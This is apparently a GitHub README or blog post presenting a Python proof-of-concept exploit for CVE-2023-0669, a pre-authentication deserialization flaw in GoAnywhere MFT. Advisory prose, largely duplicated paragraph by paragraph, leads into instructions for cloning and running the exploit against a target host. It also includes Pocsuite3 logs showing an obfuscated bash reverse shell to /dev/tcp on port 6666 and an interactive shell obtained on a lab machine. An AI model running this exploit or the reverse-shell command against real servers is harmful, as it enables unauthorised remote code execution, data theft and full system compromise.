avento/cve-2023-0669GoAnywhere MFT CVE-2023-0669 LicenseResponseServlet Deserialization Vulnerabilities Python RCE PoC(Proof of Concept)
CVE-2023-0669 GoAnywhere MFT Deserialization - Je Yiuwai's Blog
CVE-2023-0669 is a GoAnywhere MFT deserialization vulnerability. Due to the deserialization of an arbitrary attacker-controlled object, a pre-authenticated command injection vulnerability exists in the License Response Servlet. An attacker can exploit this vulnerability to execute arbitrary code on the affected system, resulting in complete system compromise. The vulnerability affects versions prior to 7.1.2, excluding 7.1.2.
CVE-2023-0669 is a GoAnywhere MFT deserialization vulnerability that exists in the License Response Servlet due to a pre-authenticated command injection vulnerability that allows an attacker to execute arbitrary code on the affected system by deserializing an object controlled by the attacker. The vulnerability affects versions prior to 7.1.2.
This vulnerability may pose a serious threat to the security of the enterprise-level file transfer software GoAnywhere MFT. Attackers can exploit this vulnerability to steal sensitive data, tamper with data, damage systems, and more. Therefore, users need to take timely measures to protect system security.
The vulnerability poses a serious threat to the security of enterprise-level file transfer software GoAnywhere MFT, as attackers can exploit it to steal sensitive data, tamper with data, and compromise systems. Therefore, users need to take measures promptly to protect their systems.
The official security advisory has been released, and preliminary inspection methods have been provided. Users can check whether specific strings appear in the userdata/logs log to determine whether the system is affected by this vulnerability. If patches cannot be applied, it is recommended to take other security measures to protect system security.
The official security advisory has been released, and preliminary inspection methods have been provided. Users can check whether their systems are affected by the vulnerability by looking for specific strings in the userdata/logs log. If patches cannot be applied, it is recommended to take other security measures to protect the system.
In summary, CVE-2023-0669 is a deserialization vulnerability that requires users' attention. Users need to promptly update to the latest version and check whether their systems are affected by this vulnerability. At the same time, it is recommended that users strengthen the security management of enterprise-level software such as GoAnywhere MFT and adopt multi-layered security measures to protect system security.
In summary, CVE-2023-0669 is a deserialization vulnerability that requires users' attention. Users need to update to the latest version promptly and check whether their systems are affected by the vulnerability. Additionally, it is recommended that users strengthen the security management of enterprise-level software such as GoAnywhere MFT and take multi-layered security measures to protect their systems.
This Exploit is a Python-based script used to exploit the vulnerability CVE-2023-0669 in GoAnywhere MFT v6.7.9594 and earlier versions.
This vulnerability exists because GoAnywhere MFT has a security issue when processing encrypted Bundle requests. An attacker can send a specially crafted request and execute arbitrary code on the target server.
git clone https://github.com/Avento/CVE-2023-0669.git
cd CVE-2023-0669
pip install requests cryptography
python CVE-2023-0669.py --host <target server IP>
This Exploit is a Python script used to exploit the vulnerability CVE-2023-0669 in GoAnywhere MFT v6.7.9594 and earlier versions.
This vulnerability exists because of a security issue in processing encrypted Bundle requests in GoAnywhere MFT. An attacker can send a specially crafted request to execute arbitrary code on the target server.
git clone https://github.com/Avento/CVE-2023-0669.git
cd CVE-2023-0669
pip install requests cryptography
python CVE-2023-0669.py --host <target IP>
$ python3 CVE-2023-0669.py --host 192.168.47.179:8000
Exploit Success ~
Pocsuite3 (pocs\Java_GoAnywhere_CVE-2023-0669) > check
[11:10:53] [INFO] pocsusite got a total of 1 tasks
[11:10:53] [INFO] running poc:'CVE-2023-0669 GoAnywhere MFT LicenseResponseServlet 反序列化' target 'http://192.168.47.179:8000'
[11:10:53] [+] Version : 7.0.3
[11:10:53] [INFO] Scan completed,ready to print
+----------------------------+--------------------------------------------------------------+---------------+----------------+--------------------------+---------+
| target-url | poc-name | poc-id | component | version | status |
----------+---------+
| http://192.168.47.179:8000 | CVE-2023-0669 GoAnywhere MFT LicenseResponseServlet 反序列化 | CVE-2023-0669 | GoAnywhere MFT | 7.1.2 之前，不 包括 7.1.2 | success |
+----------------------------+--------------------------------------------------------------+---------------+----------------+--------------------------+---------+
success : 1 / 1
Pocsuite3 (pocs\Java_GoAnywhere_CVE-2023-0669) > shell
[11:11:55] [INFO] pocsusite got a total of 1 tasks
[11:11:55] [INFO] running poc:'CVE-2023-0669 GoAnywhere MFT LicenseResponseServlet 反序列化' target 'http://192.168.47.179:8000'
/bin/bash -c bash$IFS-i$IFS>&$IFS/dev/tcp/192.168.47.1/6666<&1
[11:11:55] [*] listening on 0.0.0.0:6666
[11:11:56] [+] new connection established from 192.168.47.179
[11:11:56] [INFO] Scan completed,ready to print
[11:11:56] [INFO] connect back ip: 192.168.47.1 port: 6666
[11:11:56] [INFO] watting for shell connect to pocsuite
Now Connected: 192.168.47.179
SHELL (192.168.47.179) > id
bash: cannot set terminal process group (20029): Inappropriate ioctl for device
bash: no job control in this shell
ubuntu@ubuntu:~/HelpSystems/GoAnywhere$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
Author：Je Yiuwai edit by xiaomi pad 6 pro